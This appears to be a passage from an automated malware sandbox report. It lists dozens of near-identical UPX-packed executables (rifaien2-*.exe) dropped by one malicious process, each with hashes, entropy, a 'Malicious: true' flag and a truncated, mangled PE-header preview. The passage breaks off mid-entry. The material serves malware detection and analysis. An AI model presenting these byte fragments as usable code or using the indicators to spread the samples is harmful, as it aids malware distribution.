C:\Users\user\Desktop\rifaien2-VJi5bt4v05AnA3zO.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691693299031569
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+qK:LJ0TAz6Mte4A+aaZx8EnCGVuq
MD5:	F8CAEC0A915F64C383D1C5B3E530622F
SHA1:	49C67B3F6B331A838C4396BED87F1666189582D0
SHA-256:	677145547E4D5D150B89A1D0CE9AE93C71A8F5D4B85A355EAFDF465E96D7F34F
SHA-512:	329DCF4A4752E6E3A760BA91570978B1563370CF0E05F182186B0AE5E4135DE875E807566077825E04AD4DC747316C4A0109E413FDF99D1124925026B8BDE185
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-VzjNx1jPI8EBAf3Q.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6916708297596585
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+wK:LJ0TAz6Mte4A+aaZx8EnCGVuw
MD5:	67F011A9A6F50B9DA7742E11D82D06F8
SHA1:	DE56EA1BCCA28F4F9F87C990BF3816D7704EACD7
SHA-256:	ED55E2299C1B7FF648B9A91E410CEF92FCAA0888E7D74C3588EC129480A2FC72
SHA-512:	1C95E45BD10588FF850173F02F1E94770A8EB10574757E13E425D3CF5B70601ECE6F84C157F81B9D1A82E7FE3B97CD3A79BA8C3B6E651066DD7C2050F9117419
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-WBUGMs1oWatC1b9R.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6916311863073
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+PK:LJ0TAz6Mte4A+aaZx8EnCGVuP
MD5:	1052D1837702FC58CF496838F62E3EB8
SHA1:	B520053A613C8595C657BE616B1CFE63D8AE07E5
SHA-256:	181931CE76E54F7CDD15F2FDD35D2E701A07CC54BBE8474BDA84CD1AE3136D1F
SHA-512:	E4BE848A185F424A07AAA1E2D6352F6AE356462C6D458ABEA8DA77AB34BCE1EE4D37F255C557AA269B547CAAFB4C4A986D7EC5BCF0A768F92598E392FB245123
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-WbnLg1fQUOoUplSV.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691663967313013
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+DK:LJ0TAz6Mte4A+aaZx8EnCGVuD
MD5:	5786695FF5AE296B9AB7ECADEC06906C
SHA1:	ECA1C481F6A095AB1121BFDB07079EBC74F9B04A
SHA-256:	E1D636ACE21C5C234454AAA2A39396312E0A49B376911ACF0FA4D5E75C6456CA
SHA-512:	74C1070C4DF8F2F60263801D5794E4705FD5A634C49BC93C8AB061141BDE1B729A140F7DFDD9E08B9943B667C090A5AF5E82C289D15FB0219702B7F90BC067DD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-XK86MMSGqdyh0W5j.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691684513762106
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+/K:LJ0TAz6Mte4A+aaZx8EnCGVu/
MD5:	66CD5995412826A0D88FBD10D14F97F0
SHA1:	F16ECCA8C93D4339F1AC7C26F5BE4B8CCC33B016
SHA-256:	33AAB38AE2C0202D8B46A35C07FA2E0D77CAF54530306142000D772833BF5DBB
SHA-512:	407C53C0649BC7BC3A04657E16177345A88B7C17C23D7C7D973536D36E8879D8788487942C66C65DDBB1A7962E269E8BB0C095F96C0F7A61FAF1F3D09A6B76C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-XzoPd5NlxkpB2Qkz.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691643887600015
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+cK:LJ0TAz6Mte4A+aaZx8EnCGVuc
MD5:	EBF192184B589752F1DA830A750D107C
SHA1:	EFFB6847401BA78277A92387C3F023404530777F
SHA-256:	F960037657AE376E2249EDF60CFF5D77E536A614B33EA210374B249D5DE74C2A
SHA-512:	9F67757F1E53816126EB3620EC016CB948485DEC2281E6FC9C8DBCCEECC3469943E45CD5582B2DDEB3DC3433D0037A2BE17588D8F5713492EBA49733F84BF291
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-YQ9gXxkityqTj37o.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691708454583739
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+1K:LJ0TAz6Mte4A+aaZx8EnCGVu1
MD5:	BC67A4CEEBA7D9FBC4293AEE4D99D469
SHA1:	9F631630DD0F6F0006E58A58005913C13E7F1108
SHA-256:	7E0FD158CC2A10EAB32B806B0ECB49771CCAF992C2FF9C7C0C1E0AC776A66FC2
SHA-512:	07ACC075956DA1E4EBCD67F76DDF55C385F4A3D1E144D4CC7D616666DAD7DD88DE2CB625AA1938E2AFCECAA7B56D5129FB0711480BCD470C51066B54354FB482
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-Yf4NmWwsZ4N1yY95.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691616816923781
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+uK:LJ0TAz6Mte4A+aaZx8EnCGVuu
MD5:	1188CC43E8EE73E1F4F667EA126DFEFD
SHA1:	25B1CDB4A50E2CABBCB5BDD9A7A23B1A5E6AC246
SHA-256:	B495B20A05E11EBB56D605E56E992C945B0D9EA65CD47140B4E4E5A1DBCB6CA3
SHA-512:	7D0187D5AC0DAB33DBDA59660465939E0BFA4A471FD654E7A702BD76C04782F5347505FFA81F7FC925E43B73AB2EB39CFFDA9189431564F2425A0F7EFF42EDD2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-YmUvcvAsSxinM0iL.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691708510801295
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+nK:LJ0TAz6Mte4A+aaZx8EnCGVun
MD5:	57A2E360169301B0834BF8097B3EC1D7
SHA1:	E756CE1B5E866D91E04A5CD8D8908B92F75ED772
SHA-256:	4C399A748669423DD966442505C4C8F8EA4318CDA8E96969D6E5444D482DB9BD
SHA-512:	ABCE8684B6C26968C917D78242889E80F3CDD91824212BF4F9F038C5442C52BAB906334B98C1F588D9BD6B5DB167DEF78A141F954D2EDB549FF7EE5315A8EBA3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-b3ZWCYI3KgQ9GVd3.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691631477719185
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+YK:LJ0TAz6Mte4A+aaZx8EnCGVuY
MD5:	3DDEEEC09C32A2F16463CA9DA18B53DB
SHA1:	4AD262FCA3D6FC75A744C05B516FB329FA15686C
SHA-256:	6975A18C5FBA809AA0C4C7F5B66A26F76B77B12A9286C51A90B62C784644E6C4
SHA-512:	53D55365C6A836C628BEFAB8618A799BC26817A7206ADCFECE254C579A2E4D873D0E88572D693156A3F34DB43C9AFC9C31CE2ECA9E6846B890E94F54F5DFBAE8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-bq6a0w9PvOP4ugLz.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691610293368476
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+DK:LJ0TAz6Mte4A+aaZx8EnCGVuD
MD5:	BF6473FF05DB2D0ADB086BC4743BE922
SHA1:	3D5EA18AFBDB307B3673BF2907010114C71A0C01
SHA-256:	4905E79C7ED0DF3F9DDBD1828C3ACB873F10B18459B23397F647A9E6FC82F8A7
SHA-512:	12CA6A2E3F1AB2925E65DDE1542A06C7BA77941E83BF96DD26E4A3C2092434EC293399BEF881EE5AFC8D38A364511E2E379EA9A6C4D6D051136D7C7A3A15C6E7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-cBftW9zYcUyutts4.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691678365378627
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+1K:LJ0TAz6Mte4A+aaZx8EnCGVu1
MD5:	94B57A937C1C8006E57C5415AD7313CC
SHA1:	4C93AB5CF25282B54419EF4A47F178D97F63F7FE
SHA-256:	551C90B7F372BDAF84907D50296195A43D5EC3D2781D92C1ECBA6FB8C5CF8016
SHA-512:	6DE82E07C85C5B248C083D2877EAB27FA64A9F38E794A62F8F393ED4D3E1E9E907B14D7082B172CE448CF97F242F04ECE3C908DED4E4D3F31E8EFBB1D391B1BD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-cR40kHbNSjvP90Vq.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691697059405
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+xK:LJ0TAz6Mte4A+aaZx8EnCGVux
MD5:	F834C63FD822DFA154F420BB2D3314B9
SHA1:	85496356EF95664968633934AAEE19AA31D0DEBF
SHA-256:	F0A0B6A38B14CDC434EEAF93DD561DBC09C96EE007AA879293D43FD8235A5624
SHA-512:	E4B8B0CF3599A99AA2BA1B16DF4E3FE210F010852C236FE212D091CCA527E95979B428D79D5B78E9DE8B11848B9B1EB0C04021DDDD23F2A6C564D91292587541
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-d57ykrWvlTZrDkZc.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691686781109755
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+cK:LJ0TAz6Mte4A+aaZx8EnCGVuc
MD5:	5AB00CA781406AB8224A041FF82C5827
SHA1:	044E4ACC8189B426F716B0204B7DBCCBD02FFB86
SHA-256:	0C6FDBB090683F5357C431B7FACBE7371297672BE356577148AC27F3B92F0CC7
SHA-512:	05F59618ECCB5330DD588382CFF475797F32A541E195AAFF4FF922137987DAF4A96E1E504C372313A988F2B8A078C0EAF31C015486E15A0468198413417FC14C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-dIQ7PuzulNOWjRao.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.69163848261595
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+qK:LJ0TAz6Mte4A+aaZx8EnCGVuq
MD5:	177CD6E72455BF0D85ABAADD4BE58EC9
SHA1:	1807DEF32BE89151B6E359E3803CBA3DDB87A66A
SHA-256:	FEFF66C1DA52357789F4F6FB1EF55B551C59A738FE258F01F89051BE434D5276
SHA-512:	9D5072FD12CA1BC1D0585609EF03D96BB1461DB990B0754667943A04C487637E64A8011B76F4753E57E28CDFF7B0C5D5FC0DB0ADE4A6C21FC1896EEBF1F9A175
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-dJL9srUqHWxbpcQx.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691714038356787
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+SK:LJ0TAz6Mte4A+aaZx8EnCGVuS
MD5:	47D073E51C47002C558C7CD0D5B8268C
SHA1:	7AF69BD738EDAF3D25355CA442735761823D1192
SHA-256:	D1C253DA572E406DBCBC6BA2E25D2412ABE8FED498D98D71D29E6DC53A71D769
SHA-512:	C13B43BFB3F21081C1ABB1A8B0EFE3024328BD388E454C49EF02DA01266EE16FCDADDA4D33F8A2F6865A7EFF50D1F48C2B7D13A640FC3EA45C8BAC9665648E62
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-dOfNWxhGxDVM5njb.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691610617702445
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+QK:LJ0TAz6Mte4A+aaZx8EnCGVuQ
MD5:	8FA6D5299B0645410FA76BB1676E1C29
SHA1:	573923185F3BEC5E1F6386B25535128C718F2DCF
SHA-256:	BE44BBB267642D9CCDA91309D7E2EC6731970A60CDC926D764CAF486B92310DC
SHA-512:	7209575355BBA46CAECB2B5588F2B27D6FED6DA0DB51874E33F008DC1979923C6D296A0316BA49CDE9B3A2504E984E0E1852AACFBEA83F10488C96E2C6E05FC2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-ddYzW9sGfJmlWZnw.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.6916488898452995
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+qK:LJ0TAz6Mte4A+aaZx8EnCGVuq
MD5:	3C210DB42C2162D303ED70ECEC819C4B
SHA1:	C4D583A34B705FF4BA70F81EDB040638717DB367
SHA-256:	59AA20F3A11355C135716BCE56A0DA13979AEEF2905C7EC48A94AA08B0385B5C
